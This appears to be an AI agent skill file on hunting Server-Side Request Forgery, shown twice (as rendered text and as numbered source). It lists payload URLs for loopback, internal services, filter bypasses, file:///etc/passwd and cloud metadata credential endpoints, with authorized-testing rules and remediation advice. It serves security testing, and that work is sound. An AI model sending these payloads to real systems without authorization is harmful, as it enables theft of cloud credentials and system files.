SSRF Hunting
Locate every place the server fetches a URL you control, then test it methodically.
Where to Look
- Webhooks and callback URLs (payments, integrations, alerts)
- Importers: avatar-by-URL, import-from-URL, RSS feed readers
- Preview generators: link unfurlers, PDF/image renderers, screenshot services
- File parsers that resolve external entities or references (XInclude, XSLT, SVG)
- Proxy/redirect endpoints taking a
url= parameter
Test Matrix
Basic
http://127.0.0.1:PORT for internal services (find live ports via response differential)http://localhost, http://[::1], http://2130706433 (integer IP), http://0x7f000001- Internal hostnames:
http://inventory, http://kubernetes.default.svc
Filter Bypass
- DNS names resolving to loopback: custom records,
localtest.me,nip.io patterns
- Redirects: public URL 302→internal target (tests whether redirects are followed)
- DNS rebinding for single-resolution filters (rebind.network tools)
- Scheme abuse:
file:///etc/passwd, gopher://, dict:// where parsers allow
Cloud Metadata (high impact)
- AWS IMDSv1:
http://169.254.169.254/latest/meta-data/iam/security-credentials/
- AWS IMDSv2 requires token — try hop-limit tricks via 302 redirect
- GCP:
http://metadata.google.internal/computeMetadata/v1/ with Metadata-Flavor: Google
- Azure:
http://169.254.169.254/metadata/instance?api-version=2021-02-01 with Metadata: true
Blind SSRF
- Out-of-band DNS/HTTP callbacks (interactsh-style) to confirm fetch without visible response
- Response-time differentials against open vs filtered ports
- Error-message leaks: connection refused vs timeout vs HTTP error codes
Rules
- Reading metadata that returns credentials: capture minimal proof (role name, key prefix), report immediately, do not use credentials to pivot without authorization
- Never exfiltrate real user data through the SSRF
Remediation Notes to Include
Allowlist of destinations, block link-local/loopback at network layer, disable redirect following, use IMDSv2, serve fetches from an isolated egress-controlled worker.
1---2name: ssrf-hunting3description: Find and exploit Server-Side Request Forgery across URL-fetching features, including cloud metadata bypasses and blind SSRF techniques. Use during web assessments and bug bounty hunting.4---56# SSRF Hunting78Locate every place the server fetches a URL you control, then test it methodically.910## Where to Look1112- Webhooks and callback URLs (payments, integrations, alerts)13- Importers: avatar-by-URL, import-from-URL, RSS feed readers14- Preview generators: link unfurlers, PDF/image renderers, screenshot services15- File parsers that resolve external entities or references (XInclude, XSLT, SVG)16- Proxy/redirect endpoints taking a `url=` parameter1718## Test Matrix1920### Basic21- `http://127.0.0.1:PORT` for internal services (find live ports via response differential)22- `http://localhost`, `http://[::1]`, `http://2130706433` (integer IP), `http://0x7f000001`23- Internal hostnames: `http://inventory`, `http://kubernetes.default.svc`2425### Filter Bypass26- DNS names resolving to loopback: custom records, `localtest.me`,nip.io patterns27- Redirects: public URL 302→internal target (tests whether redirects are followed)28- DNS rebinding for single-resolution filters (rebind.network tools)29- Scheme abuse: `file:///etc/passwd`, `gopher://`, `dict://` where parsers allow3031### Cloud Metadata (high impact)32- AWS IMDSv1: `http://169.254.169.254/latest/meta-data/iam/security-credentials/`33- AWS IMDSv2 requires token — try hop-limit tricks via 302 redirect34- GCP: `http://metadata.google.internal/computeMetadata/v1/` with `Metadata-Flavor: Google`35- Azure: `http://169.254.169.254/metadata/instance?api-version=2021-02-01` with `Metadata: true`3637### Blind SSRF38- Out-of-band DNS/HTTP callbacks (interactsh-style) to confirm fetch without visible response39- Response-time differentials against open vs filtered ports40- Error-message leaks: connection refused vs timeout vs HTTP error codes4142## Rules4344- Reading metadata that returns credentials: capture minimal proof (role name, key prefix), report immediately, do not use credentials to pivot without authorization45- Never exfiltrate real user data through the SSRF4647## Remediation Notes to Include4849Allowlist of destinations, block link-local/loopback at network layer, disable redirect following, use IMDSv2, serve fetches from an isolated egress-controlled worker.
securityskills